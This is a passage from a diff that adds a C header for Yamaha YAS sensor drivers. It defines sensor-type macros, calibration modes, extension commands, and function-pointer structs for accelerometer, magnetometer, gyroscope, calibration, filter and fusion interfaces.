MS-3W */ +#define YAS_TYPE_MAG YAS_TYPE_M_MAG +#elif YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS537 /* MS-3T */ +#define YAS_TYPE_MAG YAS_TYPE_M_MAG +#elif YAS_MAG_DRIVER == YAS_MAG_DRIVER_YAS53x +#define YAS_TYPE_MAG YAS_TYPE_AMG_MAG +#endif + +#if YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_NONE +#define YAS_TYPE_GYRO YAS_TYPE_GYRO_NONE +#elif YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_BMG160 +#define YAS_TYPE_GYRO YAS_TYPE_G_GYRO +#elif YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_BMI055 +#define YAS_TYPE_GYRO YAS_TYPE_G_GYRO +#elif YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_BMI058 +#define YAS_TYPE_GYRO YAS_TYPE_G_GYRO +#elif YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_EWTZMU +#define YAS_TYPE_GYRO YAS_TYPE_G_GYRO +#elif YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_ITG3200 +#define YAS_TYPE_GYRO YAS_TYPE_G_GYRO +#elif YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_ITG3500 +#define YAS_TYPE_GYRO YAS_TYPE_G_GYRO +#elif YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_L3G3200D +#define YAS_TYPE_GYRO YAS_TYPE_G_GYRO +#elif YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_L3G4200D +#define YAS_TYPE_GYRO YAS_TYPE_G_GYRO +#elif YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_LSM330DLC +#define YAS_TYPE_GYRO YAS_TYPE_G_GYRO +#elif YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_MPU3050 +#define YAS_TYPE_GYRO YAS_TYPE_G_GYRO +#elif YAS_GYRO_DRIVER == YAS_GYRO_DRIVER_YAS53x +#define YAS_TYPE_GYRO YAS_TYPE_AMG_GYRO +#endif + +/* ---------------------------------------------------------------------------- + * Geomagnetic Calibration Configuration + *--------------------------------------------------------------------------- */ + +/*! Geomagnetic calibration mode: spherical only */ +#define YAS_MAG_CALIB_MODE_SPHERE (0) +/*! Geomagnetic calibration mode: ellipsoidal only */ +#define YAS_MAG_CALIB_MODE_ELLIPSOID (1) +/*! Geomagnetic calibration mode: spherical with gyroscope */ +#define YAS_MAG_CALIB_MODE_SPHERE_WITH_GYRO (2) +/*! Geomagnetic calibration mode: ellisoldal with gyroscope */ +#define YAS_MAG_CALIB_MODE_ELLIPSOID_WITH_GYRO (3) +/*! Geomagnetic calibration mode: gyroscope only */ +#define YAS_MAG_CALIB_MODE_WITH_GYRO (4) + +/* ---------------------------------------------------------------------------- + * Extension Command Definition + *--------------------------------------------------------------------------- */ +/*! YAS532 extension command: self test */ +#define YAS532_SELF_TEST (0x00000001) +/*! YAS532 extension command: self test noise */ +#define YAS532_SELF_TEST_NOISE (0x00000002) +/*! YAS532 extension command: obtains the hardware offset */ +#define YAS532_GET_HW_OFFSET (0x00000003) +/*! YAS532 extension command: sets the hardware offset */ +#define YAS532_SET_HW_OFFSET (0x00000004) +/*! YAS532 extension command: obtains last raw data (x, y1, y2, t) */ +#define YAS532_GET_LAST_RAWDATA (0x00000006) + +/*! YAS535 extension command: obtains last raw data (xy1y2[3] t xyz[3]) */ +#define YAS535_GET_LAST_RAWDATA (0x00000001) +/*! YAS535 extension command: self test for magnetometer */ +#define YAS535_MAG_SELF_TEST (0x00000002) +/*! YAS535 extension command: self test noise for magnetometer */ +#define YAS535_MAG_SELF_TEST_NOISE (0x00000003) +/*! YAS535 extension command: obtains the hardware offset */ +#define YAS535_MAG_GET_HW_OFFSET (0x00000004) +/*! YAS535 extension command: sets the hardware offset */ +#define YAS535_MAG_SET_HW_OFFSET (0x00000005) +/*! YAS535 extension command: obtains the average samples for magnetometer */ +#define YAS535_MAG_GET_AVERAGE_SAMPLE (0x00000006) +/*! YAS535 extension command: sets the average samples for magnetometer */ +#define YAS535_MAG_SET_AVERAGE_SAMPLE (0x00000007) +/*! YAS535 extension command: self test for accelerometer */ +#define YAS535_ACC_SELF_TEST (0x00010000) +/*! YAS535 extension command: obtains the average samples for accelerometer */ +#define YAS535_ACC_GET_AVERAGE_SAMPLE (0x00020000) +/*! YAS535 extension command: sets the average samples for accelerometer */ +#define YAS535_ACC_SET_AVERAGE_SAMPLE (0x00040000) + +/*! YAS536 extension command: self test */ +#define YAS536_SELF_TEST (0x00000001) +/*! YAS536 extension command: obtains the hardware offset */ +#define YAS536_GET_HW_OFFSET (0x00000002) +/*! YAS536 extension command: obtains the average filter length */ +#define YAS536_GET_AVERAGE_LEN (0x00000004) +/*! YAS536 extension command: sets the average filter length */ +#define YAS536_SET_AVERAGE_LEN (0x00000005) +/*! YAS536 extension command: obtains last raw data (x, y1, y2, t) */ +#define YAS536_GET_LAST_RAWDATA (0x00000006) + +/*! YAS537 extension command: self test */ +#define YAS537_SELF_TEST (0x00000001) +/*! YAS537 extension command: self test noise */ +#define YAS537_SELF_TEST_NOISE (0x00000002) +/*! YAS537 extension command: obtains last raw data (x, y1, y2, t) */ +#define YAS537_GET_LAST_RAWDATA (0x00000003) +/*! YAS537 extension command: obtains the average samples */ +#define YAS537_GET_AVERAGE_SAMPLE (0x00000004) +/*! YAS537 extension command: sets the average samples */ +#define YAS537_SET_AVERAGE_SAMPLE (0x00000005) +/*! YAS537 extension command: obtains the hardware offset */ +#define YAS537_GET_HW_OFFSET (0x00000006) + +/* ---------------------------------------------------------------------------- + * Structure definition + *--------------------------------------------------------------------------- */ + +/** + * @struct yas_vector + * @brief Stores the sensor data + */ +struct yas_vector { + int32_t v[3]; /*!< vector data */ +}; + +/** + * @struct yas_quaternion + * @brief Stores the quaternion + */ +struct yas_quaternion { + int32_t q[4]; /*!< quaternion */ + int32_t heading_error; /*!< heading error in mdegree, + -1 if unavailable */ +}; + +/** + * @struct yas_matrix + * @brief Stores the matrix data + */ +struct yas_matrix { + int16_t m[9]; /*!< matrix data */ +}; + +/** + * @struct yas_data + * @brief Stores the sensor data + */ +struct yas_data { + int32_t type; /*!< Sensor type */ + struct yas_vector xyz; /*!< X, Y, Z measurement data of the sensor */ + uint32_t timestamp; /*!< Measurement time */ + uint8_t accuracy; /*!< Measurement data accuracy */ +}; + +/** + * @struct yas_driver_callback + * @brief User-written callback functions specific to each implementation, such + * as communication controls with the device + */ +struct yas_driver_callback { + /** + * Open the device + * @param[in] type Sensor type + * @retval 0 Success + * @retval Negative Failure + */ + int (*device_open)(int32_t type); + /** + * Close the device + * @param[in] type Sensor type + * @retval 0 Success + * @retval Negative Failure + */ + int (*device_close)(int32_t type); + /** + * Send data to the device + * @param[in] type Sensor type + * @param[in] addr Register address + * @param[in] buf The pointer to the data buffer to be sent + * @param[in] len The length of the data buffer + * @retval 0 Success + * @retval Negative Failure + */ + int (*device_write)(int32_t type, uint8_t addr, const uint8_t *buf, + int len); + /** + * Receive data from the device + * @param[in] type Sensor type + * @param[in] addr Register address + * @param[out] buf The pointer to the data buffer to be received + * @param[in] len The length of the data buffer + * @retval 0 Success + * @retval Negative Failure + */ + int (*device_read)(int32_t type, uint8_t addr, uint8_t *buf, int len); + /** + * Sleep in micro-seconds + * @param[in] usec Sleep time in micro-seconds + */ + void (*usleep)(int usec); + /** + * Obtains the current time in milli-seconds + * @return The current time in milli-seconds + */ + uint32_t (*current_time)(void); +}; + +/** + * @struct yas_acc_driver + * @brief Acceleration sensor driver + */ +struct yas_acc_driver { + /** + * Initializes the sensor, starts communication with the device + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*init)(void); + /** + * Terminates the communications with the device + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*term)(void); + /** + * Obtains measurment period in milli-seconds + * @retval Non-Negatiev Measurement period in milli-seconds + * @retval Negative Failure + */ + int (*get_delay)(void); + /** + * Sets measurment period in milli-seconds + * @param[in] delay Measurement period in milli-seconds + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*set_delay)(int delay); + /** + * Reports the sensor status (Enabled or Disabled) + * @retval 0 Disabled + * @retval 1 Enabled + * @retval Negative Failure + */ + int (*get_enable)(void); + /** + * Enables or disables sensors + * @param[in] enable The status of the sensor (0: Disable, 1: Enable) + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*set_enable)(int enable); + /** + * Obtains the sensor position + * @retval 0-7 The position of the sensor + * @retval Negative Failure + */ + int (*get_position)(void); + /** + * Sets the sensor position + * @param[in] position The position of the sensor (0-7) + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*set_position)(int position); + /** + * Measures the sensor + * @param[out] raw Measured sensor data + * @param[in] num The number of the measured sensor data + * @retval Non-Negative The number of the measured sensor data + * @retval Negative Failure + */ + int (*measure)(struct yas_data *raw, int num); + /** + * Extension command execution specific to the part number + * @param[in] cmd Extension command id + * @param[out] result Extension command result + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*ext)(int32_t cmd, void *result); + struct yas_driver_callback callback; /*!< Callback functions */ +}; + +/** + * @struct yas_mag_driver + * @brief Magnetic sensor driver + */ +struct yas_mag_driver { + /** + * Initializes the sensor, starts communication with the device + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*init)(void); + /** + * Terminates the communications with the device + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*term)(void); + /** + * Obtains measurment period in milli-seconds + * @retval Non-Negatiev Measurement period in milli-seconds + * @retval Negative Failure + */ + int (*get_delay)(void); + /** + * Sets measurment period in milli-seconds + * @param[in] delay Measurement period in milli-seconds + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*set_delay)(int delay); + /** + * Reports the sensor status (Enabled or Disabled) + * @retval 0 Disabled + * @retval 1 Enabled + * @retval Negative Failure + */ + int (*get_enable)(void); + /** + * Enables or disables sensors + * @param[in] enable The status of the sensor (0: Disable, 1: Enable) + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*set_enable)(int enable); + /** + * Obtains the sensor position + * @retval 0-7 The position of the sensor + * @retval Negative Failure + */ + int (*get_position)(void); + /** + * Sets the sensor position + * @param[in] position The position of the sensor (0-7) + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*set_position)(int position); + /** + * Measures the sensor + * @param[out] raw Measured sensor data + * @param[in] num The number of the measured sensor data + * @retval Non-Negative The number of the measured sensor data + * @retval Negative Failure + */ + int (*measure)(struct yas_data *raw, int num); + /** + * Extension command execution specific to the part number + * @param[in] cmd Extension command id + * @param[out] result Extension command result + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*ext)(int32_t cmd, void *result); + struct yas_driver_callback callback; /*!< Callback functions */ +}; + +/** + * @struct yas_gyro_driver + * @brief Gyroscope sensor driver + */ +struct yas_gyro_driver { + /** + * Initializes the sensor, starts communication with the device + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*init)(void); + /** + * Terminates the communications with the device + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*term)(void); + /** + * Obtains measurment period in milli-seconds + * @retval Non-Negatiev Measurement period in milli-seconds + * @retval Negative Failure + */ + int (*get_delay)(void); + /** + * Sets measurment period in milli-seconds + * @param[in] delay Measurement period in milli-seconds + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*set_delay)(int delay); + /** + * Reports the sensor status (Enabled or Disabled) + * @retval 0 Disabled + * @retval 1 Enabled + * @retval Negative Failure + */ + int (*get_enable)(void); + /** + * Enables or disables sensors + * @param[in] enable The status of the sensor (0: Disable, 1: Enable) + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*set_enable)(int enable); + /** + * Obtains the sensor position + * @retval 0-7 The position of the sensor + * @retval Negative Failure + */ + int (*get_position)(void); + /** + * Sets the sensor position + * @param[in] position The position of the sensor (0-7) + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*set_position)(int position); + /** + * Measures the sensor + * @param[out] raw Measured sensor data + * @param[in] num The number of the measured sensor data + * @retval Non-Negative The number of the measured sensor data + * @retval Negative Failure + */ + int (*measure)(struct yas_data *raw, int num); + /** + * Extension command execution specific to the part number + * @param[in] cmd Extension command id + * @param[out] result Extension command result + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*ext)(int32_t cmd, void *result); + struct yas_driver_callback callback; /*!< Callback functions */ +}; + +/** + * @struct yas_acc_mag_driver + * @brief Acceleration and geomagnetix sensor driver (6-axis). + */ +struct yas_acc_mag_driver { + /** + * Initializes the sensor, starts communication with the device + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*init)(void); + /** + * Terminates the communications with the device + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*term)(void); + /** + * Obtains measurment period in milli-seconds + * @param[in] type Sensor type + * @retval Non-Negatiev Measurement period in milli-seconds + * @retval Negative Failure + */ + int (*get_delay)(int32_t type); + /** + * Sets measurment period in milli-seconds + * @param[in] type Sensor type + * @param[in] delay Measurement period in milli-seconds + * @retval Non-Negative The bit or of the sensor type successfully + * delay changed. + * @retval Negative Failure + */ + int (*set_delay)(int32_t type, int delay); + /** + * Reports the sensor status (Enabled or Disabled) + * @param[in] type Sensor type + * @retval 0 Disabled + * @retval 1 Enabled + * @retval Negative Failure + */ + int (*get_enable)(int32_t type); + /** + * Enables or disables sensors + * @param[in] type Sensor type + * @param[in] enable The status of the sensor (0: Disable, 1: Enable) + * @retval Non-Negative The bit or of the sensor type successfully + * enabled/disabled. + * @retval Negative Failure + */ + int (*set_enable)(int32_t type, int enable); + /** + * Obtains the sensor position + * @retval 0-7 The position of the sensor + * @retval Negative Failure + */ + int (*get_position)(void); + /** + * Sets the sensor position + * @param[in] position The position of the sensor (0-7) + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*set_position)(int position); + /** + * Measures the sensor + * @param[in] type Sensor type + * @param[out] raw Measured sensor data + * @param[in] num The number of the measured sensor data + * @retval Non-Negative The number of the measured sensor data + * @retval Negative Failure + */ + int (*measure)(int32_t type, struct yas_data *raw, int num); + /** + * Extension command execution specific to the part number + * @param[in] cmd Extension command id + * @param[out] result Extension command result + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*ext)(int32_t cmd, void *result); + struct yas_driver_callback callback; /*!< Callback functions */ +}; + +/** + * @struct yas_acc_gyro_driver + * @brief Acceleration and gyroscope sensor driver (6-axis). + */ +struct yas_acc_gyro_driver { + /** + * Initializes the sensor, starts communication with the device + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*init)(void); + /** + * Terminates the communications with the device + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*term)(void); + /** + * Obtains measurment period in milli-seconds + * @param[in] type Sensor type + * @retval Non-Negatiev Measurement period in milli-seconds + * @retval Negative Failure + */ + int (*get_delay)(int32_t type); + /** + * Sets measurment period in milli-seconds + * @param[in] type Sensor type + * @param[in] delay Measurement period in milli-seconds + * @retval Non-Negative The bit or of the sensor type successfully + * delay changed. + * @retval Negative Failure + */ + int (*set_delay)(int32_t type, int delay); + /** + * Reports the sensor status (Enabled or Disabled) + * @param[in] type Sensor type + * @retval 0 Disabled + * @retval 1 Enabled + * @retval Negative Failure + */ + int (*get_enable)(int32_t type); + /** + * Enables or disables sensors + * @param[in] type Sensor type + * @param[in] enable The status of the sensor (0: Disable, 1: Enable) + * @retval Non-Negative The bit or of the sensor type successfully + * enabled/disabled. + * @retval Negative Failure + */ + int (*set_enable)(int32_t type, int enable); + /** + * Obtains the sensor position + * @retval 0-7 The position of the sensor + * @retval Negative Failure + */ + int (*get_position)(void); + /** + * Sets the sensor position + * @param[in] position The position of the sensor (0-7) + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*set_position)(int position); + /** + * Measures the sensor + * @param[in] type Sensor type + * @param[out] raw Measured sensor data + * @param[in] num The number of the measured sensor data + * @retval Non-Negative The number of the measured sensor data + * @retval Negative Failure + */ + int (*measure)(int32_t type, struct yas_data *raw, int num); + /** + * Extension command execution specific to the part number + * @param[in] cmd Extension command id + * @param[out] result Extension command result + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*ext)(int32_t cmd, void *result); + struct yas_driver_callback callback; /*!< Callback functions */ +}; + +/** + * @struct yas_acc_mag_gyro_driver + * @brief Acceleration, geomagnetic and gyroscope sensor driver (9-axis). + */ +struct yas_acc_mag_gyro_driver { + /** + * Initializes the sensor, starts communication with the device + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*init)(void); + /** + * Terminates the communications with the device + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*term)(void); + /** + * Obtains measurment period in milli-seconds + * @param[in] type Sensor type + * @retval Non-Negatiev Measurement period in milli-seconds + * @retval Negative Failure + */ + int (*get_delay)(int32_t type); + /** + * Sets measurment period in milli-seconds + * @param[in] type Sensor type + * @param[in] delay Measurement period in milli-seconds + * @retval Non-Negative The bit or of the sensor type successfully + * delay changed. + * @retval Negative Failure + */ + int (*set_delay)(int32_t type, int delay); + /** + * Reports the sensor status (Enabled or Disabled) + * @param[in] type Sensor type + * @retval 0 Disabled + * @retval 1 Enabled + * @retval Negative Failure + */ + int (*get_enable)(int32_t type); + /** + * Enables or disables sensors + * @param[in] type Sensor type + * @param[in] enable The status of the sensor (0: Disable, 1: Enable) + * @retval Non-Negative The bit or of the sensor type successfully + * enabled/disabled. + * @retval Negative Failure + */ + int (*set_enable)(int32_t type, int enable); + /** + * Obtains the sensor position + * @retval 0-7 The position of the sensor + * @retval Negative Failure + */ + int (*get_position)(void); + /** + * Sets the sensor position + * @param[in] position The position of the sensor (0-7) + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*set_position)(int position); + /** + * Measures the sensor + * @param[in] type Sensor type + * @param[out] raw Measured sensor data + * @param[in] num The number of the measured sensor data + * @retval Non-Negative The number of the measured sensor data + * @retval Negative Failure + */ + int (*measure)(int32_t type, struct yas_data *raw, int num); + /** + * Extension command execution specific to the part number + * @param[in] cmd Extension command id + * @param[out] result Extension command result + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*ext)(int32_t cmd, void *result); + struct yas_driver_callback callback; /*!< Callback functions */ +}; + +#if YAS_MAG_FILTER_ENABLE +/** + * @struct yas_mag_filter_config + * @brief Magnetic filter configuration + */ +struct yas_mag_filter_config { + uint8_t len; /*!< Filter length */ + uint16_t noise[3]; /*!< Filter noise X, Y, Z in [nT] */ + uint16_t threshold; /*!< Filter threshold in [nT] */ +}; + +/** + * @struct yas_mag_filter + * @brief Magnetic filter + */ +struct yas_mag_filter { + /** + * Initializes the filter + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*init)(void); + /** + * Terminates the filter + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*term)(void); + /** + * Resets the filter + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*reset)(void); + /** + * Filters the sensor data + * @param[in] input Measured sensor data + * @param[out] output Filtered sensor data + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*update)(struct yas_vector *input, struct yas_vector *output); + /** + * Obtains filter configuration + * @param[out] config Sensor filter configuration + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*get_config)(struct yas_mag_filter_config *config); + /** + * Sets filter configuration + * @param[in] config Sensor filter configuration + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*set_config)(struct yas_mag_filter_config *config); +}; +#endif + +#if YAS_MAG_CALIB_ENABLE +/** + * @struct yas_mag_calib_config + * @brief Magnetic calibration configuration + */ +struct yas_mag_calib_config { + uint8_t mode; /*!< Calibration mode : #YAS_MAG_CALIB_MODE_SPHERE, + #YAS_MAG_CALIB_MODE_ELLIPSOID, + #YAS_MAG_CALIB_MODE_SPHERE_WITH_GYRO, + #YAS_MAG_CALIB_MODE_ELLIPSOID_WITH_GYRO */ + uint16_t spread[3]; /*!< Spread threshold for accuracy 1-3 + (YAS_MAG_CALIB_MODE_SPHERE) */ + uint16_t variation[3]; /*!< Variation threshold for accuracy 1-3 + (YAS_MAG_CALIB_MODE_SPHERE) */ +#if YAS_MAG_CALIB_ELLIPSOID_ENABLE + uint16_t el_spread[3]; /*!< Spread threshold for accuracy 1-3 + (YAS_MAG_CALIB_MODE_ELLIPSOID) */ + uint16_t el_variation[3]; /*!< Variation threshold for accuracy 1-3 + (YAS_MAG_CALIB_MODE_ELLIPSOID) */ +#endif +#if !YAS_MAG_CALIB_MINI_ENABLE + uint16_t trad_variation[3]; /*!< Traditional variation for accuracy 1-3 + */ +#endif +#if YAS_MAG_CALIB_WITH_GYRO_ENABLE + uint16_t cwg_threshold[12]; /*!< Threshold for calibration with gyro. + Order is {eval_th_for_narrow, + diff_angle_th_for_narrow, + eval_th_for_wide, eval_th_for_wide } + for accuracy 1, 2, and 3. */ +#endif +}; + +/** + * @struct yas_mag_calib_result + * @brief Magnetic calibration result + */ +struct yas_mag_calib_result { + struct yas_vector offset; /*!< Calibration offset [nT] */ + uint16_t spread; /*!< Spread value */ + uint16_t variation; /*!< Variation value */ + uint16_t radius; /*!< Magnetic radius [nT] */ + uint8_t axis; /*!< Update axis */ + uint8_t accuracy; /*!< Accuracy [0-3] */ + uint8_t level; /*!< The number of sample */ +#if !YAS_MAG_CALIB_MINI_ENABLE + int success_mode; /*!< Success mode. 1:cwm, 2:cwg. */ + uint16_t trad_variation; /*!< Traditional variation value */ +#endif +#if YAS_MAG_CALIB_WITH_GYRO_ENABLE + uint16_t cwg_spread; + uint16_t cwg_variation; +#endif +#if YAS_MAG_CALIB_ELLIPSOID_ENABLE + struct yas_matrix dynamic_matrix; +#endif +}; + +/** + * @struct yas_mag_calib + * @brief Magnetic calibration + */ +struct yas_mag_calib { + /** + * Initializes the calibration + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*init)(void); + /** + * Terminates the calibration + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*term)(void); + /** + * Resets the calibration + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*reset)(void); + /** + * Updates the calibration + * @param[in] raw Measured sensor data + * @param[in] num The number of the measured sensor data + * @retval 0 Calibration offset and accuracy are NOT changed + * @retval 1 Calibration offset or accuracy is changed + * @retval Negative Failure + */ + int (*update)(struct yas_data *raw, int num); + /** + * Obtains the calibration offset + * @param[in] type Sensor type + * @param[out] offset Calibration offset + * @param[out] accuracy Calibration offset accuracy + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*get_offset)(int type, struct yas_vector *offset, + uint8_t *accuracy); + /** + * Sets the calibration offset + * @param[in] type Sensor type + * @param[in] offset Calibration offset + * @param[in] accuracy Calibration offset accuracy + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*set_offset)(int type, struct yas_vector *offset, + uint8_t accuracy); + /** + * Obtains the calibration configuration + * @param[out] config Calibration configuration + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*get_config)(struct yas_mag_calib_config *config); + /** + * Sets the calibration configuration + * @param[in] config Calibration configuration + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*set_config)(struct yas_mag_calib_config *config); +#if YAS_MAG_CALIB_ELLIPSOID_ENABLE + /** + * Obtains the dynamic ellipsoid correction matrix + * @param[out] m dynamic ellipsoid correction matrix + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*get_dynamic_matrix)(struct yas_matrix *m); + /** + * Sets the dynamic ellipsoid correction matrix + * @param[in] m Dynamic ellipsoid correction matrix + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*set_dynamic_matrix)(struct yas_matrix *m); +#endif + /** + * Obtains the detail of the last calibration result + * @param[out] r Last calibration result + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*get_result)(struct yas_mag_calib_result *r); +}; +#endif + +#if YAS_GYRO_CALIB_ENABLE +/** + * @struct yas_gyro_calib_config + * @brief Gyroscope calibration configuration + */ +struct yas_gyro_calib_config { + uint16_t mag_noise; /*!< Magnetic sensor noise in standard deviation + [nT] */ + uint16_t gyro_noise; /*!< Gyroscope sensor noise in [dps per root HZ] */ +}; + +/** + * @struct yas_gyro_calib_result + * @brief Gyroscope calibration result + */ +struct yas_gyro_calib_result { + struct yas_vector offset; /*!< Calibration offset [mdps] */ + uint8_t accuracy; /*!< Accuracy [0-3] */ +}; + +/** + * @struct yas_gyro_calib + * @brief Gyroscope calibration + */ +struct yas_gyro_calib { + /** + * Initializes the calibration + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*init)(void); + /** + * Terminates the calibration + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*term)(void); + /** + * Resets the calibration + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*reset)(void); + /** + * Updates the calibration + * @param[in] raw Measured sensor data + * @param[in] num The number of the measured sensor data + * @retval 0 Calibration offset or accuracy is NOT changed + * @retval 1 Calibration offset or accuracy is changed + * @retval Negative Failure + */ + int (*update)(struct yas_data *raw, int num); + /** + * Obtains the calibration offset + * @param[in] type Sensor type + * @param[out] offset Calibration offset + * @param[out] accuracy Calibration offset accuracy + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*get_offset)(int type, struct yas_vector *offset, + uint8_t *accuracy); + /** + * Sets the calibration offset + * @param[in] type Sensor type + * @param[in] offset Calibration offset + * @param[in] accuracy Calibration offset accuracy + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*set_offset)(int type, struct yas_vector *offset, + uint8_t accuracy); + /** + * Obtains the calibration configuration + * @param[out] config Calibration configuration + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*get_config)(struct yas_gyro_calib_config *config); + /** + * Sets the calibration configuration + * @param[in] config Calibration configuration + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*set_config)(struct yas_gyro_calib_config *config); + /** + * Obtains the detail of the last calibration result + * @param[out] r Last calibration result + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*get_result)(struct yas_gyro_calib_result *r); +}; +#endif + +#if YAS_MAG_AVERAGE_FILTER_ENABLE +/** + * @struct yas_mag_avg_config + * @brief Magnetic average filter configuration + */ +struct yas_mag_avg_config { + int tap_min; /*!< Minimum average filter length (0:32, 1:64, 2:128, + 3:256) */ + int tap_hard; /*!< Average filter length currently set to the sensor + (0:32, 1:64, 2:128, 3:256) */ + int filter_len; /*!< Average filter length */ + uint32_t dfine; /*!< Measured standard deviation threshold [nT] */ + uint32_t dthresh; /*!< Median standard deviation threshold [nT] */ +}; + +/** + * @struct yas_mag_avg_result + * @brief Magnetic average filter result + */ +struct yas_mag_avg_result { + int32_t tap_new; /*!< New average filter taps + (0:32, 1:64, 2:128, 3:256) */ + int32_t dm; /*!< Median standard deviation */ +}; + +/** + * @struct yas_mag_avg + * @brief Magnetic average filter + */ +struct yas_mag_avg { + /** + * Initializes the magnetic average filter + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*init)(void); + /** + * Terminates the magnetic average filter + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*term)(void); + /** + * Resets the magnetic average filter + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*reset)(void); + /** + * Updates the filter + * @param[in] raw Measured sensor data + * @param[in] num The number of the measured sensor data + * @param[out] r Average filter result + * @retval 0 Average filter taps is NOT changed + * @retval 1 Average filter taps is changed + * @retval Negative Failure + */ + int (*update)(struct yas_data *raw, int num); + /** + * Obtains the average filter tap + * @param[out] curtap Current average filter tap (0:32, 1:64, 2:128, + * 3:256) + * @param[out] newtap Average filter tap to be set (0:32, 1:64, 2:128, + * 3:256) + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*get_tap)(int *curtap, int *newtap); + /** + * Sets the average filter tap + * @param[in] tap The average filter tap (0:32, 1:64, 2:128, 3:256) + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*set_tap)(int tap); + /** + * Obtains the average filter configuration + * @param[out] config Average filter configuration + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*get_config)(struct yas_mag_avg_config *config); + /** + * Sets the average filter configuration + * @param[in] config Average filter configuration + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*set_config)(struct yas_mag_avg_config *config); + /** + * Obtains the detail of filter result + * @param[out] r Filter result + * @retval #YAS_NO_ERROR Success + * @retval Negative Failure + */ + int (*get_result)(struct yas_mag_avg_result *r); +}; +#endif + +#if YAS_GAMEVEC_ENABLE +/** + * @struct yas_gamevec_config + * @brief Gamevec config + */ +struct yas_gamevec_config { + int32_t weight; + int32_t hpf_sq_out_threshold; + int16_t sustain; +}; +#endif + +#if YAS_FUSION_ENABLE +/** + * @struct yas_fusion_config + * @brief Sensor fusion configuration + */ +struct yas_fusion_config { + uint8_t mag_fusion_enable; /*!< 6 axis fusion enable or disable */ + uint8_t gyro_fusion_enable; /*!< 9 axis fusion enable or disable */ +#if YAS_GAMEVEC_ENABLE + struct yas_gamevec_config gamevec_config; +#endif +}; + +/** + * @struct yas_fusion_result + * @brief Sensor fusion result + */ +struct yas_fusion_result { +#if YAS_ORIENTATION_ENABLE + struct yas_vector orientation_mag; /*!< orientation angle (acc and mag) + [mdegree]. Azimuth, 